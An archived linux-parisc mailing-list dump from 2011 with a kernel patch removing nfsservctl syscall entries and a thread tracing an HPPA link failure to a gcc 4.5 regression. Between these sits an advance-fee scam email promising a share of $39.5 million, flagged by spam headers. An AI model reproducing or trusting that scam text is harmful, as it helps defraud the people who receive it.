Signed-off-by: Stephen Rothwell <sfr@canb.auug.org.au>
---
 arch/parisc/kernel/syscall_table.S |    2 +-
 arch/powerpc/include/asm/systbl.h  |    2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/arch/parisc/kernel/syscall_table.S b/arch/parisc/kernel/syscall_table.S
index e66366f..3735abd 100644
--- a/arch/parisc/kernel/syscall_table.S
+++ b/arch/parisc/kernel/syscall_table.S
@@ -259,7 +259,7 @@
 	ENTRY_SAME(ni_syscall)		/* query_module */
 	ENTRY_SAME(poll)
 	/* structs contain pointers and an in_addr... */
-	ENTRY_COMP(nfsservctl)
+	ENTRY_SAME(ni_syscall)		/* was nfsservctl */
 	ENTRY_SAME(setresgid)		/* 170 */
 	ENTRY_SAME(getresgid)
 	ENTRY_SAME(prctl)
diff --git a/arch/powerpc/include/asm/systbl.h b/arch/powerpc/include/asm/systbl.h
index f6736b7..fa0d27a 100644
--- a/arch/powerpc/include/asm/systbl.h
+++ b/arch/powerpc/include/asm/systbl.h
@@ -171,7 +171,7 @@ SYSCALL_SPU(setresuid)
 SYSCALL_SPU(getresuid)
 SYSCALL(ni_syscall)
 SYSCALL_SPU(poll)
-COMPAT_SYS(nfsservctl)
+SYSCALL(ni_syscall)
 SYSCALL_SPU(setresgid)
 SYSCALL_SPU(getresgid)
 COMPAT_SYS_SPU(prctl)
-- 
1.7.5.4

-- 
Cheers,
Stephen Rothwell                    sfr@canb.auug.org.au
http://www.canb.auug.org.au/~sfr/

From - Thu Nov 08 21:07:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Rolf Eike Beer" <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Link error in CMake for HPPA1.1, wrong result for HPPA 2.0
Date: Mon, 29 Aug 2011 10:12:18 +0200
Lines: 26
Approved: news@gmane.org
Message-ID: <da1221fe3aa512ba4b0a139a89dd2e69.squirrel@webmail.sf-mail.de>
References: <99a9e4b224dc9020d16d0a33fea6096f.squirrel@webmail.sf-mail.de>
    <4E5656E4.8000102@systemhalted.org> <4E566E6D.8060100@bell.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: dough.gmane.org 1314605548 6430 80.91.229.12 (29 Aug 2011 08:12:28 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 29 Aug 2011 08:12:28 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Aug 29 10:12:22 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QxwxC-0006r6-95
	for glpp-linux-parisc@lo.gmane.org; Mon, 29 Aug 2011 10:12:22 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753101Ab1H2IMV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 29 Aug 2011 04:12:21 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:46338 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753031Ab1H2IMV (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 29 Aug 2011 04:12:21 -0400
Original-Received: (qmail 20196 invoked by uid 81); 29 Aug 2011 08:12:18 -0000
Original-Received: from 80.150.94.234
        (SquirrelMail authenticated user eike@sf-mail.de)
        by webmail.sf-mail.de with HTTP;
        Mon, 29 Aug 2011 10:12:18 +0200
In-Reply-To: <4E566E6D.8060100@bell.net>
User-Agent: SquirrelMail/1.4.22
X-Priority: 3 (Normal)
Importance: Normal
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3914
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3914>

> On 8/25/2011 10:06 AM, Carlos O'Donell wrote:
>> On 8/25/2011 6:37 AM, Rolf Eike Beer wrote:
>>> const&)]+0xbc): cannot reach
>>> 00004abb__ZNSt8_Rb_treeIN5cmsys6StringESt4pairIKS1_iESt10_Select1stIS4_ESt4lessIS1_ESaIS4_EE8_S_rightEPSt18_Rb_tree_node_base+0,
>>> recompile with -ffunction-sections
>> So did you recompile with -ffunction-sections?
>>
>> The basic problem is that the linker was unable to insert a jump
>> to the requested function because it was too far away. Some targets
>> like hppa have short branch distances and we use intermediate stub
>> tables to get around that. However, we can't insert stub tables just
>> anywhere, they need to go between sections. Therefore you need to
>> break up this object file.
> I think there is a real bug here but nobody has provided a test case.
> -ffunction-sections
> probably won't help.

Confirmed, it is a regression in gcc 4.5. If I build using 4.4.6
everything works fine. I'll file a bug report tonight.

Eike
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Rolf Eike Beer" <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Link error in CMake for HPPA1.1, wrong result for HPPA 2.0
Date: Mon, 29 Aug 2011 11:47:25 +0200
Lines: 39
Approved: news@gmane.org
Message-ID: <4495b8359fc4e7de12ffa235ae63421b.squirrel@webmail.sf-mail.de>
References: <99a9e4b224dc9020d16d0a33fea6096f.squirrel@webmail.sf-mail.de>
    <4E5656E4.8000102@systemhalted.org> <4E566E6D.8060100@bell.net>
    <da1221fe3aa512ba4b0a139a89dd2e69.squirrel@webmail.sf-mail.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: dough.gmane.org 1314611256 9657 80.91.229.12 (29 Aug 2011 09:47:36 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 29 Aug 2011 09:47:36 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Aug 29 11:47:32 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QxyRF-0006Nr-Nn
	for glpp-linux-parisc@lo.gmane.org; Mon, 29 Aug 2011 11:47:30 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753466Ab1H2Jr3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 29 Aug 2011 05:47:29 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:37401 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753387Ab1H2Jr2 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 29 Aug 2011 05:47:28 -0400
Original-Received: (qmail 611 invoked by uid 81); 29 Aug 2011 09:47:25 -0000
Original-Received: from 80.150.94.234
        (SquirrelMail authenticated user eike@sf-mail.de)
        by webmail.sf-mail.de with HTTP;
        Mon, 29 Aug 2011 11:47:25 +0200
In-Reply-To: <da1221fe3aa512ba4b0a139a89dd2e69.squirrel@webmail.sf-mail.de>
User-Agent: SquirrelMail/1.4.22
X-Priority: 3 (Normal)
Importance: Normal
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3915
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3915>

>> On 8/25/2011 10:06 AM, Carlos O'Donell wrote:
>>> On 8/25/2011 6:37 AM, Rolf Eike Beer wrote:
>>>> const&)]+0xbc): cannot reach
>>>> 00004abb__ZNSt8_Rb_treeIN5cmsys6StringESt4pairIKS1_iESt10_Select1stIS4_ESt4lessIS1_ESaIS4_EE8_S_rightEPSt18_Rb_tree_node_base+0,
>>>> recompile with -ffunction-sections
>>> So did you recompile with -ffunction-sections?
>>>
>>> The basic problem is that the linker was unable to insert a jump
>>> to the requested function because it was too far away. Some targets
>>> like hppa have short branch distances and we use intermediate stub
>>> tables to get around that. However, we can't insert stub tables just
>>> anywhere, they need to go between sections. Therefore you need to
>>> break up this object file.
>> I think there is a real bug here but nobody has provided a test case.
>> -ffunction-sections
>> probably won't help.
>
> Confirmed, it is a regression in gcc 4.5. If I build using 4.4.6
> everything works fine. I'll file a bug report tonight.

Everything _compiles_ fine. The process later goes into an endless loop
again if I call the compiled binary with a source directory. This does not
happen with arguments like "--help" or "--version", so I overlooked that
at first.

So:
-compiling/linking with g++ 4.5 fails
-compiling/linking with g++ 4.4 works, but the result is unusable

John, do you need anything more from me? Things I can test? Which version
is your patch against?

Eike

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: francis <franciskabore12@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.spam.detected
Subject: REPLY VERY URGENTLY.
Date: Mon, 29 Aug 2011 17:29:52 +0530 (IST)
Lines: 22
Approved: news@gmane.org
Message-ID: <1314619192.79899.YahooMailClassic@web137908.mail.in.yahoo.com>
Reply-To: franciskabore.10@gmail.com
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 8BIT
X-Trace: dough.gmane.org 1314619202 29576 80.91.229.12 (29 Aug 2011 12:00:02 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 29 Aug 2011 12:00:02 +0000 (UTC)
To: undisclosed recipients:;
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Aug 29 13:59:57 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Qy0VQ-0003hU-JJ
	for glpp-linux-parisc@lo.gmane.org; Mon, 29 Aug 2011 13:59:56 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752550Ab1H2L7z (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 29 Aug 2011 07:59:55 -0400
Original-Received: from nm4-vm1.bullet.mail.in.yahoo.com ([121.101.151.209]:36960 "HELO
	nm4-vm1.bullet.mail.in.yahoo.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with SMTP id S1752472Ab1H2L7z convert rfc822-to-8bit
	(ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 29 Aug 2011 07:59:55 -0400
Original-Received: from [121.101.151.236] by nm4.bullet.mail.in.yahoo.com with NNFMP; 29 Aug 2011 12:02:27 -0000
Original-Received: from [121.101.151.233] by tm1.bullet.mail.in.yahoo.com with NNFMP; 29 Aug 2011 12:01:42 -0000
Original-Received: from [127.0.0.1] by omp1002.mail.in.yahoo.com with NNFMP; 29 Aug 2011 12:02:56 -0000
X-Yahoo-Newman-Property: ymail-5
X-Yahoo-Newman-Id: 396944.45108.bm@omp1002.mail.in.yahoo.com
Original-Received: (qmail 85261 invoked by uid 60001); 29 Aug 2011 11:59:52 -0000
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yahoo.com; s=s1024; t=1314619192; bh=bHW3EaQ+4raiqDgYAhyxxX7FeFq13aXJaHzb1wh3s90=; h=X-YMail-OSG:Received:X-RocketYMMF:X-Mailer:Message-ID:Date:From:Reply-To:Subject:To:MIME-Version:Content-Type:Content-Transfer-Encoding; b=OGSRwcNZoXtwm1Bx8oOnZlWb4J5F85NURax1H4Z7nERcaA1PngSAfB6tChrRBxnzVIGUifGrK6k6DWHiTzj4Z29/DQlUUuZ0PidhfaUBVUwUb5ymV+liCmaTg+NORao5MMJ7+lE2NBaFq5fv5WhyENLZEQAIaaweoVXWuUxjCUY=
X-YMail-OSG: BMjlZuEVM1k5MSJfb_R3apZQ19Yvz_A4I5f1.4gM.eB1sTu
 ZvDD0R3_aQejr3rX57CyEJ7e_cr7v.4G.Pn1AOYO6ZAWEA_KlNhmbquUJZ7b
 JNWFQxs5ab0clmKlW_W0fs6kUIuYbtOr2qzB033CBLuXGXwdKMOeKarM4Nw1
 DdKZP_CtIOuqS9hh6p2kZ7yNi4YM0WqgyrPvg11ZX81lrLOjHgPFV_IFfppe
 V2bJFFc4qDZNxLnF.6yYa.oNbM8TXPatkjHx1ihq8_gk4HVqobeUv8TClc15
 eSMtL5ZPPwIQjdqrK0QtSBZGDpXLpHGnc1a6zhxZruLb_IpTz5C97.xF.vdZ
 dMRiBGkYX8QiIe96A2ih4DtD3RVFSUpX4Ujr1FUoJ.Bzrb9zi9bgzArBqMe0
 OFUx1.._jVnDw04VrV2W94j.CrEiCpzThlLbYUdQvoHaGANKm4eO7P5ONqOY
 YJ8RZIqRF1g5CnOBb9bjiK_TY171t3oWshlCUq.fSaQayyxqw8a8FbIrDYEq
 WEJbTYUoKHQ7Y7qxcg62FmmxKvvyfNsPm.lI1eoym
Original-Received: from [212.52.152.113] by web137908.mail.in.yahoo.com via HTTP; Mon, 29 Aug 2011 17:29:52 IST
X-RocketYMMF: qazolaz
X-Mailer: YahooMailClassic/14.0.5 YahooMailWebService/0.8.113.315625
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
X-Spam-Report: 12.6 points;
 *  2.1 SUBJ_ALL_CAPS Subject is all capitals
 *  1.6 URG_BIZ BODY: Contains urgent matter
 *  2.7 DEAR_FRIEND BODY: Dear Friend? That's not very dear!
 *  0.0 BAYES_50 BODY: Bayesian spam probability is 40 to 60%
 *      [score: 0.4220]
 *  0.6 RCVD_IN_SORBS_WEB RBL: SORBS: sender is a abuseable web server
 *      [212.52.152.113 listed in dnsbl.sorbs.net]
 *  3.0 RCVD_IN_BL_SPAMCOP_NET RBL: Received via a relay in bl.spamcop.net
 *      [Blocked - see <http://www.spamcop.net/bl.shtml?212.52.152.113>]
 *  1.2 ADVANCE_FEE_2 Appears to be advance fee fraud (Nigerian 419)
 *  1.4 ADVANCE_FEE_3 Appears to be advance fee fraud (Nigerian 419)
Xref: news.gmane.org gmane.linux.ports.parisc:3916 gmane.spam.detected:4885441
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3916>


Dear Friend,

I know that this message will come to you as a surprise. I am the Auditing and Accounting section manager with African Development Bank, Ouagadougou Burkina faso. I Hope that you will not expose or betray this trust and confident that I am about to repose on you for the mutual benefit of our both families.

I need your urgent assistance in transferring the sum of($39.5)million to your account within 10 or 14 banking days. This money has been dormant for years in our Bank without claim.I want the bank to release the money to you as the nearest person to our deceased customer late George small. who died along with his supposed next of kin in an air crash since 31st October 1999.

I don't want the money to go into government treasury as an abandoned fund. So this is the reason why I am contacting you so that the bank can release the money to you as the next of kin to the deceased customer. Please I would like you to keep this proposal as atop secret and delete it if you are not interested.

Upon receipt of your reply, I will give you full details on how the business will be executed and also note that you will have 40% of the above mentioned sum if you agree to handle this business with me.

I am expecting your urgent response as soon as you receive my message.

Best Regard,

Mr Francis Kabore

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Link error in CMake for HPPA1.1, wrong result for HPPA 2.0
Date: Mon, 29 Aug 2011 10:38:01 -0400
Lines: 38
Approved: news@gmane.org
Message-ID: <4E5BA449.5050606@bell.net>
References: <99a9e4b224dc9020d16d0a33fea6096f.squirrel@webmail.sf-mail.de>    <4E5656E4.8000102@systemhalted.org> <4E566E6D.8060100@bell.net> <da1221fe3aa512ba4b0a139a89dd2e69.squirrel@webmail.sf-mail.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1314628655 32289 80.91.229.12 (29 Aug 2011 14:37:35 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 29 Aug 2011 14:37:35 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Rolf Eike Beer <eike-kernel@sf-tec.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Aug 29 16:37:31 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Qy2xv-0000YB-6b
	for glpp-linux-parisc@lo.gmane.org; Mon, 29 Aug 2011 16:37:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753529Ab1H2Oha (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 29 Aug 2011 10:37:30 -0400
Original-Received: from mail16.primus.ca ([216.254.141.183]:47856 "EHLO
	mail-07.primus.ca" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1752727Ab1H2Oha (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 29 Aug 2011 10:37:30 -0400
Original-Received: from luxcom.gta.igs.net ([216.58.85.197] helo=[192.168.0.129])
	by mail-07.primus.ca with esmtpa (Exim 4.72)
	(envelope-from <dave.anglin@bell.net>)
	id 1Qy2xt-0005Hl-0r; Mon, 29 Aug 2011 10:37:29 -0400
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:6.0) Gecko/20110812 Thunderbird/6.0
In-Reply-To: <da1221fe3aa512ba4b0a139a89dd2e69.squirrel@webmail.sf-mail.de>
X-Authenticated: danglin-lux@magma.ca - luxcom.gta.igs.net ([192.168.0.129]) [216.58.85.197]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3917
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3917>

On 8/29/2011 4:12 AM, Rolf Eike Beer wrote:
>> On 8/25/2011 10:06 AM, Carlos O'Donell wrote:
>>> On 8/25/2011 6:37 AM, Rolf Eike Beer wrote:
>>>> const&)]+0xbc): cannot reach
>>>> 00004abb__ZNSt8_Rb_treeIN5cmsys6StringESt4pairIKS1_iESt10_Select1stIS4_ESt4lessIS1_ESaIS4_EE8_S_rightEPSt18_Rb_tree_node_base+0,
>>>> recompile with -ffunction-sections
>>> So did you recompile with -ffunction-sections?
>>>
>>> The basic problem is that the linker was unable to insert a jump
>>> to the requested function because it was too far away. Some targets
>>> like hppa have short branch distances and we use intermediate stub
>>> tables to get around that. However, we can't insert stub tables just
>>> anywhere, they need to go between sections. Therefore you need to
>>> break up this object file.
>> I think there is a real bug here but nobody has provided a test case.
>> -ffunction-sections
>> probably won't help.
> Confirmed, it is a regression in gcc 4.5. If I build using 4.4.6
> everything works fine. I'll file a bug report tonight.
>
Interesting, there's not much difference in the PA backend for these two 
versions.

Add me (danglin at gcc.gnu.org) to the CC list on the GCC bug report and 
I'll try to
duplicate the problem.

Thanks,
Dave

-- 
John David Anglin    dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Link error in CMake for HPPA1.1, wrong result for HPPA 2.0
Date: Mon, 29 Aug 2011 20:31:15 +0200
Lines: 40
Approved: news@gmane.org
Message-ID: <7292253.L43gRO36Hq@donald.sf-tec.de>
References: <99a9e4b224dc9020d16d0a33fea6096f.squirrel@webmail.sf-mail.de> <da1221fe3aa512ba4b0a139a89dd2e69.squirrel@webmail.sf-mail.de> <4E5BA449.5050606@bell.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart3382714.Hso3OUhbyo"; micalg="pgp-sha1"; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7Bit
X-Trace: dough.gmane.org 1314642733 4908 80.91.229.12 (29 Aug 2011 18:32:13 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 29 Aug 2011 18:32:13 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Aug 29 20:32:09 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Qy6cx-0005Zy-0Z
	for glpp-linux-parisc@lo.gmane.org; Mon, 29 Aug 2011 20:32:07 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754495Ab1H2Sbv (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 29 Aug 2011 14:31:51 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:44972 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754747Ab1H2Sbp (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 29 Aug 2011 14:31:45 -0400
Original-Received: (qmail 531 invoked from network); 29 Aug 2011 18:31:42 -0000
Original-Received: from dslb-188-096-219-194.pools.arcor-ip.net ([::ffff:188.96.219.194] HELO donald.sf-tec.de) (auth=eike-kernel@sf-tec.de)
	by mail.sf-mail.de (Qsmtpd 0.20svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <linux-parisc@vger.kernel.org>; Mon, 29 Aug 2011 18:31:42 +0000
User-Agent: KMail/4.6.0 (Linux/2.6.37-12-desktop; KDE/4.6.4; i686; ; )
In-Reply-To: <4E5BA449.5050606@bell.net>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3918
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3918>


--nextPart3382714.Hso3OUhbyo
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="ISO-8859-1"

You wrote:
> On 8/29/2011 4:12 AM, Rolf Eike Beer wrote:

> > Confirmed, it is a regression in gcc 4.5. If I build using 4.4.6
> > everything works fine. I'll file a bug report tonight.
> 
> Interesting, there's not much difference in the PA backend for these two
> versions.
> 
> Add me (danglin at gcc.gnu.org) to the CC list on the GCC bug report and
> I'll try to
> duplicate the problem.

http://gcc.gnu.org/bugzilla/show_bug.cgi?id=50230

Eike
--nextPart3382714.Hso3OUhbyo
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.15 (GNU/Linux)

iEYEABECAAYFAk5b2vgACgkQXKSJPmm5/E5KHACfQMpa4PThBiyVjTgABDB33xy5
MZcAn3hdx6YWial8LLoeH6a+G9FhpX32
=w6Dz
-----END PGP SIGNATURE-----

--nextPart3382714.Hso3OUhbyo--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stephen Rothwell <sfr@canb.auug.org.au>
Newsgroups: gmane.linux.kernel.next,gmane.linux.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.parisc
Subject: Re: linux-next: build failure in Linus' tree
Date: Tue, 30 Aug 2011 08:32:18 +1000
Lines: 69
Approved: news@gmane.org
Message-ID: <20110830083218.1819a5d73c3a33e5053e8312@canb.auug.org.au>
References: <20110829104451.1c777e24ff72823d1e399f12@canb.auug.org.au>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1314657156 6174 80.91.229.12 (29 Aug 2011 22:32:36 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 29 Aug 2011 22:32:36 +0000 (UTC)
Cc: linux-next@vger.kernel.org, linux-kernel@vger.kernel.org,
	NeilBrown <neilb@suse.de>, linuxppc-dev@lists.ozlabs.org,
	linux-parisc@vger.kernel.org,
	"J. Bruce Fields" <bfields@redhat.com>
To: Linus <torvalds@linux-foundation.org>
Original-X-From: linux-next-owner@vger.kernel.org Tue Aug 30 00:32:28 2011
Return-path: <linux-next-owner@vger.kernel.org>
Envelope-to: glkn-linux-next@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-next-owner@vger.kernel.org>)
	id 1QyANX-0004f9-HS
	for glkn-linux-next@lo.gmane.org; Tue, 30 Aug 2011 00:32:27 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754806Ab1H2Wc0 (ORCPT <rfc822;glkn-linux-next@m.gmane.org>);
	Mon, 29 Aug 2011 18:32:26 -0400
Original-Received: from chilli.pcug.org.au ([203.10.76.44]:58298 "EHLO smtps.tip.net.au"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754724Ab1H2WcZ (ORCPT <rfc822;linux-next@vger.kernel.org>);
	Mon, 29 Aug 2011 18:32:25 -0400
Original-Received: from canb.auug.org.au (ash.rothwell.emu.id.au [IPv6:2402:b800:7003:7010:223:14ff:fe30:c8e4])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by smtps.tip.net.au (Postfix) with ESMTPSA id 3E3CA368002;
	Tue, 30 Aug 2011 08:32:19 +1000 (EST)
In-Reply-To: <20110829104451.1c777e24ff72823d1e399f12@canb.auug.org.au>
X-Mailer: Sylpheed 3.2.0beta2 (GTK+ 2.24.5; i486-pc-linux-gnu)
Original-Sender: linux-next-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-next.vger.kernel.org>
X-Mailing-List: linux-next@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.next:18432 gmane.linux.kernel:1185739 gmane.linux.ports.ppc64.devel:76819 gmane.linux.ports.parisc:3919
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.next/18432>

Hi Linus,

On Mon, 29 Aug 2011 10:44:51 +1000 Stephen Rothwell <sfr@canb.auug.org.au> wrote:
>
> After merging the fixes tree, today's linux-next build (powerpc
> ppc64_defconfig) failed like this:
> 
> arch/powerpc/kernel/built-in.o: In function `.sys_call_table':
> (.text+0xbd00): undefined reference to `.sys_nfsservctl'
> arch/powerpc/kernel/built-in.o: In function `.sys_call_table':
> (.text+0xbd08): undefined reference to `.compat_sys_nfsservctl'
> 
> Caused by commit f5b940997397 ("All Arch: remove linkage for
> sys_nfsservctl system call") which also missed parisc.
> 
> I will apply this patch for today:

Will you please appply this?  (repeated for ease of inclusion)

From: Stephen Rothwell <sfr@canb.auug.org.au>
Date: Mon, 29 Aug 2011 10:38:57 +1000
Subject: [PATCH] remove remaining references to nfsservctl

These were missed in commit f5b940997397 "All Arch: remove linkage
for sys_nfsservctl system call" due to them having no sys_ prefix
(presumably).

Cc: NeilBrown <neilb@suse.de>
Cc: linuxppc-dev@lists.ozlabs.org
Cc: linux-parisc@vger.kernel.org
Signed-off-by: Stephen Rothwell <sfr@canb.auug.org.au>
---
 arch/parisc/kernel/syscall_table.S |    2 +-
 arch/powerpc/include/asm/systbl.h  |    2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/arch/parisc/kernel/syscall_table.S b/arch/parisc/kernel/syscall_table.S
index e66366f..3735abd 100644
--- a/arch/parisc/kernel/syscall_table.S
+++ b/arch/parisc/kernel/syscall_table.S
@@ -259,7 +259,7 @@
